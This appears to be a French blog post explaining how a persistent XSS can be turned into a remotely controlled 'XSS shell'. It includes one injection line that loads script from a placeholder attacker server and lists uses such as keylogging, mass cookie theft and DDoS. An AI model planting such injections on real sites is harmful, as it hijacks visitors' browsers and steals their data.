

Aujourd’hui on va voir un peu de technique sur l’une des failles les plus rependues sur la toile qui n’est autre que la faille XSS. Des centaines de milliers (millions ?) de sites sont vulnérables, cela va du simple site personnel à différents gros du web (et je dis bien aujourd’hui). Bref, une faille laissée un peu à l’abandon, mais qui mérite qu’on s’y intéresse réellement.
Donc aujourd’hui, nous allons voir la technique des Shell XSS qui s’établissent principalement grâce à des XSS permanentes et non furtives car, sinon, cela ne sert pas à grand-chose. Alors, s’est quoi un shell XSS ? Eh bien, c’est simple, il s’agit d’un fichier php qui permet de configurer des attaques d’ampleur grâce à des XSS. Un shell XSS est donc un fichier de configuration qui permet de définir la même cible/mode d’attaque pour plusieurs sites ayant eu un code spécial d’injecté permettant de changer d’attaque dans le temps.
Voyons cette petite image et expliquons plus en détail le procédé :

Bien voici le déroulement de l’attaque :
[1] Tout d’abord, le pirate va installer un script sur son serveur, ce script permettra de changer le code Javascript présent dans un fichier nommé par exemple “xss.txt” inclut grâce à l’XSS. [2] Le pirate va injecter dans plusieurs sites un code Javascript qui va comporter une include du type : <script src=”[serveur du pirate]/xss.txt”></script> [3] Ensuite, la victime va tomber dans le panneau en chargeant la page [4] Son navigateur va donc appeler le script du pirate pour savoir quel commande exécuter [5] Le script du pirate va lui donner une commande à accomplir [6] Sans broncher, le navigateur de la victime va exécuter cette commande
Ainsi, cette attaque ne se différencie pas d’une simple XSS, sauf le fait pour le pirate de pouvoir commander les XSS et donc, transformer les ordinateurs des victimes (chargeant la page où a été injecté le code) en véritables machines zombies pendant toute la durée de la connexion sur cette même page. Ainsi, cette attaque quasi invisible aux yeux de la victime (comme toutes les failles XSS) pourra permettre de :
- Réaliser une attaque DDos sur un serveur - Logger les touches de clavier de toutes les victimes - Faire un vol de cookies de masse. - Mapper un réseau de l’intérieur - Copier les contenus des presses papiers de toutes les victimes - Réaliser un défacage de masse à un temps donné. - Télécharger des codes malicieux grâce aux attaques par Iframes - Et bien plus…
Le nombre de possibilités d’attaques est à la seule limite du programmeur codant le shell XSS et de l’interprétation du JavaScript par le navigateur. Aujourd’hui, il existe un seul type de shell XSS public codé en ASP et très polyvalent. Mais il est facile, en quelques heures de concevoir un shell en PHP sans avoir un niveau extra-ordinaire. Je me suis mis à la tâche pour voir combien il était facile de coder ce genre d’engin… En quelques heures j’ai réussit à avoir des résultats satisfaisants en récupérant certaines sources JavaScript (logger de touches, copie du presse papier, cookie stealer) sur le net et en les modelant un peu pour répondre à mes besoins. Concernant le code PHP, rien de difficile, juste quelques manipulations avec fopen pour arriver à upgrader le “.txt”.
Bref, les XSS ont encore de beaux jours devant-elles, d’ailleurs, cay assez bizarre que ce type d’attaque utilisant les XSS n’ait pas vraiment vu le jour, les pirates s’arrêtant aux simples formules d’XSS non changeables dans le temps…
[…] Un petit article que j’avais fait sur les shells XSS ICI. […]